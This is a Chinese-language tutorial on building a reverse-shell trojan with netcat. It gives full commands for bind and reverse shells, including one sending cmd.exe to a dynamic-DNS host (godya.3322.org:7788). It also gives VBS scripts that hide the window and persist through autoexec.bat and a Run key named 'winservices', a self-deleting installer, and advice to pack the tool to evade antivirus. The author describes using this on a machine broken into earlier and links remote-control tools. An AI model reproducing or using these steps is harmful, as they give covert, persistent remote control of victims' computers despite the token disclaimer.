利用NC来制作自己的反弹木马
利用NC 来制作自己的反弹木马免责申明:我也是第一次公开写这样的东西, 不过写此文的目的是为了技术上的研究, 把我自己的一些方法和技巧讲出来, 和大家一起探讨, 希望大家能提出意见. 并不是教大家如何
利用NC 来制作自己的反弹木马
免责申明:我也是第一次公开写这样的东西, 不过写此文的目的是为了技术上的研究, 把我自己的一些方法和技巧讲出来, 和大家一起探讨, 希望大家能提出意见. 并不是教大家如何利用此方法去破坏别人的电脑! 请不要用于非法目的, 否 则一切责任自负与我无关, 呵呵~~~我可不想做黑鹰的大米呀.
一、必须掌握的基础知识;
NC 这个工具对于一个黑客来说再熟悉不过了, 可以说是每个黑客必备工具之一, 被称做黑客的一把瑞士军刀! 可见其地位之高. 大家有兴趣的话自己去看一下有关NC 的一些详细用法吧, 我在这里就不多说了, 这不是我这次要讲的主题, 我只把其中我用到的一些参数介绍给大家.NC 并不是一个图形界面的工具, 但它 有很强大的正向链接、反向链接、扫描和监听PORT 等功能!
对于木马,它的种类也有很多,但最让人喜欢的还是具有反弹功能的木马,它可以让我们一劳永逸,一次种植成功以后便自动找上门来,呵呵~~~事半功倍呀!这也是我喜欢反向链接木马的一个原因。(对于正向链接我最喜欢的一个工具就是radmin ,原因就是它不会被杀。)至于如何让别人中了你的木马、如何去入侵对方,然后给他种马我就不说了(这也不是我这次要说的主题)方法和手法有很多,就看你的技术了。当你成功入侵一台机子后,你想做的事当然是永远的抓住它,不要让他轻易的溜走,那就赶快上传你自己的木马吧!这是我的通常做法。这时一个优秀的木马会给我们很大帮助。
还是来说NC 吧。它的使的格式是这样的,在CMD 下输入:NC.EXE [参数1] [参数2] …… 主机名(或IP )。
NC 有很多的参数,它的功能就体现在这些参数上。这里有几个要用到的、必需掌握的参数给大家简略的介绍一下:
-l 监听模式,可以监听本地的PORT 即端口;
-p 设置端口,后加端口号;
-v 显示详细信息,
-vv 显示更详细信息;
-t 以telnet 交互方式来回应;
-e 程序重定向,可以把目标机的CMD 重定向到一个端口上,然后我们在本机进行监听,这样就可以得到目标机的SHELL 了,具体看后面我讲的例子吧;
-d 后台模式;主要的参数就这么多吧,我们通过下面的例 子来一步一步学习吧!
二、简单的几个例子;
例如对本机TCP 端口90的监听:nc.exe -l -v -p 90 127.0.0.1 意思是 临听本机的TCP 端口90(如图1)。
,
(在这里如果是本机的话,可以省去主机名或IP ,即不写127.0.0.1这时默认就是本机。还有默认情况下-p 端口就指的是TCP 如果要临听UDP 端口,则要加-u 参数!)我们来验证一下结果,看是不是真的监听我们本机的90端口,先不运行NC 我们用netstat -an这个命令来查看一下本机的端口,结果(如图2)

没有发现TCP90端口被开放,我们运行nc.exe -l -v -p 90这样一个命令后,这时不要关闭这个监听窗口,再开一个CMD ,然后再用nbtstat -an来查看本机 所开放的端口,这时会发现TCP90端口被打开(如图3)

如果你有fport 这个工具的话,你还可以进一步查看到是哪个程序打开了本机 TCP90端口!(如图4)
,
(关于nbtstat 和fport 我就不做介绍了)。先来看一个正向链接的例子,当我们成功进入别人的机子并上传了NC 后,可以用这样一个命令来实现正向链接,(假设目标机的IP 为222.91.203.208)在目标机上运行nc 127.0.0.1 123 -e cmd.exe即把它的cmd 定向到它自己的123端口上。那么我们在本机上就可以用nc -l -v 222.91.203.208 -p 123来监听它的123端口,从而得到对方的cmd 。或者用这样简单的命令来把CMD 定向到99端口:nc -l -p 99 -t -e cmd.exe 然后我们在本机上用telnet 来链接目标机, 同样可以得到对方的shell. 比如目标机的IP 为:192.168.199.1,那么我们用telnet 192.168.199.1 99来链接对方!(如图5).

以上就是两个正向链接的例子, 其实也很简单, 相信到此大家对nc 应该有了一个 大概的了解了吧? 接下来我想重点说说它的反向链接功能。
三、反向链接的实现;
所谓反向链接, 简单的说就是目标机主动来链接我们的机子, 而不用我们主动去找他, 这样我们就省事的多了, 当目标机上线后会自动来链接我们设定的端口(这算是我个人的理解吧, 我也没有一个准确的定义). 我们下面一步步来解实现, 一步步来解决其中出现的问题, 最终实现我们的目的!
一个简单的例子, 假设我们的IP 为:219.144.20.42 那么在目标机上我们可以用这样的命令来实现反弹:nc -t -e cmd.exe 219.144.20.42 99(如图6).
,
它的意思就是, 把cmd 定向在219.144.20.42(我们机子) 的99端口上, 那么我们在本机上直接监听99端口, 就可的到shell,nc -l -p 99(如图7)

(一点说明, 就是以上操作应当先在本机监听, 然后在目标机上执行重定向, 这样才能实现反弹!). 以上反弹的实现看起来很容易就能实现, 但细想一下, 在我们实际情况中并不是这样简单的, 首先这样的反弹只是一次性的! 因为对方和我们一般来说都是个人用户, 都是动态的IP, 重启后下次就不能用nc -t -e cmd.exe 219.144.20.42 99来和我们进行链接, 因为我们的IP 地址已经发生了变化! 而且我们也不可能当我们的IP 地址每变一次, 我们就去入侵他一次, 然后改变我们刚才的IP 地址, 这是不现实的. 那么怎样来解决这一问题呢? 怎样才能让它, 当我们的IP 发生变化后仍然可以实现把它的shell 反弹到我们的机子上来呢?
这是关键的一步, 为此我也曾冥思苦想, 好长时间没有想出一个解决的办法. 也没有人告诉我该怎么做! 不过我并没有因此而放弃, 我用nc 本身所带的参数并不能实现我所要的功能, 于是我把思路转在了nc 之外, 很快我想到" 域名转向" 这个方法, 即使用动态域名! 呵呵~~我终于成功了, 功夫不负有心人啊, 真的是有感而发. 我使用的是希网网络提供的免费动态域名, 大家可以到3322.org 这个网上去注册一个! 注册成功后会得到一个:用户名.3322.org 的动态域名, 然后下载客户端软件, 便可实现了!(关于动态域名的一些知识以及如何申请、使用客户端我在这里就不讲了, 我只能说这不是我要讲的主题,有兴趣的朋友可以自己去试一下,很简单的) 。我申请的是godya.3322.org 并在本机上安装客户端软件(如图8)。
,
这样我们就可以用以下命令来实现反弹:nc -t -e cmd.exe godya.3322.org 7788 -d 我想大家一定能明白这行命令的意思吧?就是将本机的cmd 重定向在godya.3322.org 的7788端口上,这里的godya.3322.org 就是我注册的动态域名转向了,因此无论我的IP 如何变化都能够转到我的机子上来,只要在我的机子上监听7788端口便可以了,这样就实现了反弹的目的了,呵呵~~~现在想来其实也很简单的了,我基本什么也没有做!到此可以说理论上已经完成了,下 一步就是怎样来完善了。
四、用VBS 编程来实现
通过刚才的例子我们可以知道,只用nc -t -e cmd.exe godya.3322.org 7788 -d这样一句命令就可以实现反向链接了,那么如何让目标机一开机就把它的cmd 定向到我的机子上来了呢? 很多朋友会立刻想到用批处理来实现, 这的确是一个不错的主意, 用批处理最简单、最容易实现,对我们来说也是比较的熟悉。但是用批处理有一个弊端,就是当我们把以上命令存为一个批处理文件并运行这个批处理时,会有一个DOS 窗口一闪而过,虽然来不及看是什么,但别人一看也就明白了,这样很容易就会被发现!那么如何来避免呢?我采取的是用VBS 来编程实现,使用它的好处就是它不会弹出DOS 窗口,同样能够完成批处理的功能。(关于VBS 的一些知识我不能在这里给大家介绍了,虽然我是只懂得一点点,但说起来恐怕真的三天也讲不明白个所以然,会影响了我要说的主题,也恐怕会引起一些人的不满,说我尽说些无关的话题,所以我写的程序我就不做详细解释了,如果看不懂的话可以照搬我程序,请大家原谅!)请将以下程序另存为nc.vbs 然后和nc.exe 一起存放在目标机的systemrootsystem32下即可,然后我们在本机上监听7788端口,在目标机上运行nc.vbs 就能得到对方的shell 。
nc.vbs 程序内容如下:
dim wshell
,set wshell=CreateObject("wscript.shell")
wshell.run "nc -t -e cmd.exe godya.3322.org 7788 -d",0,true 上面的程序其实就是执行了nc -t -e cmd.exe godya.3322.org 7788 –d
这样一条语句。 当我们成功的把nc.vbs 和nc.exe 上传到目标机上后,下一步如何让它实现自动运行的方法就有很多了,我想大家也能想到一些办法的,还是看我的一个具体实例吧。前提是我已经通过其它方法成功进入了别人的一台机子,并用radmin 建立了正向链接,而且也已经上传了nc.vbs 和nc.exe 这个不说了,看图吧(如图9)。

接下来我在我的机子上开始监听7788端口(如图10)。

我通过radmin 的远程telnet 功能在目标机上运行nc.vbs ,然后就在我的机子上到得了对方的shell (如图11),
,
从图中大家也可以看得出,我的机子是2000系统而对方的是XP !既然我得到了对方的shell 那么我就可以想做什么做什么了,呵呵~~。进一步查看一下对方的机子吧,我查看了一下他机子的boot.ini 发现这是一台xp Home Edition版的机子(如图12)。

我下步要做的就是把nc.vbs 添加到目标机的autoexec.bat 中,目的就是让它开机自动运行,来实现真正的反弹呀!呵呵`~~~。我通过echo 命令结合>>来给
它添加(如图13)。
,
让它自动运行的方法有很多种,刚才我用的是修改autoexec.bat 的方法来实现,我再讲一下添加注册表的方法吧,我同样用vbs 来完成。我们知道如果在注册表中HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun这个位置添加键值,便会开机自动运行。所以我就用vbs 程序来在以上位置添加nc.vbs ,文件名为auto.vbs 。为了更加的隐蔽,我又添加了能实现自我删除的功能,就是当运行完auto.vbs 文件后它首先会将systemrootsystem32nc.vbs添加到注册表中Run 下,然后就自我删除!为了实现能够自我删除,我也想了好长时间、好多办法最后终于成功了,可能我的方法不是很正规和科学,但因水平有限只能暂且这样了,呵呵~~~看程序吧,
将以下程序保存为auto.vbs 。内容如下: Dim AutoR
Set AutoR=WScript.CreateObject("WScript.Shell")
RegPath="HKLMSoftwareMicrosoftWindowsCurrentVersionRun"
Type_Name="REG_SZ" Key_Name="winservices"
Key_Data="SystemRootsystem32nc.vbs"
AutoR.RegWrite RegPath&Key_Name,Key_Data,Type_Name
Dim delself
Set delself = WScript.CreateObject ("WSCript.shell")
delself.run "COMSPEC /c del auto.vbs",0,true
那么当我们把nc.exe 和nc.vbs 存放在目标机的SystemRootsystem32下以后,就可以在目标机上直接运行auto.vbs (位置可以任意,但文件名必须与程序内的一至,否则不能完成自我删除!)。它会自动在注册表中新建一个名为winservices 的键值,并将值设为SystemRootsystem32nc.vbs这样就将nc.vbs 添加到了注册表中(如图14)。
,
这样一来我们就比较的省事了,而且运行完auto.vbs 文件后它就删除了自己,使我们的木马更加的隐蔽!
五、总结;
每次到此都要总结一下,这似乎成了习惯,总想再说几句。为了写这个教程我也花了很大的功夫,也花了很多的时间,我这一讲主要针对的是菜鸟入门级的朋友,所以在讲的过程中我尽力把一些需要掌握的东西讲清楚、讲详细希望大多数朋友都能够接受。当然在其中可能有一些象vbs 、域名转向、nc 的一些参数等等可能不容易理解,但我想只要你认真、仔细的去看我的每一步操作过程应当也不会觉得太难,所以希望大家多动手实践,有条件的可以一步步的试验一下,这样理解起来也容易些,说不定你也会有自己不同的方法和收获。感谢 阅读!
申明:nc.exe 会被一般杀毒软件当做一个hacktools (黑客工具)而杀掉,如果你想不被杀的话,就请自己动手加壳或加花吧,我在这里就不说具体的过程了
(由于这是本人原创有描述或技术上的错误请指出!)————雏鹰
本文用到的工具
nc http://www.400gb.com/file/73430433
Radmin3.2影子版注册版 http://www.400gb.com/file/73430469
其他一些远控实用工具:http://www.400gb.com/file/73430589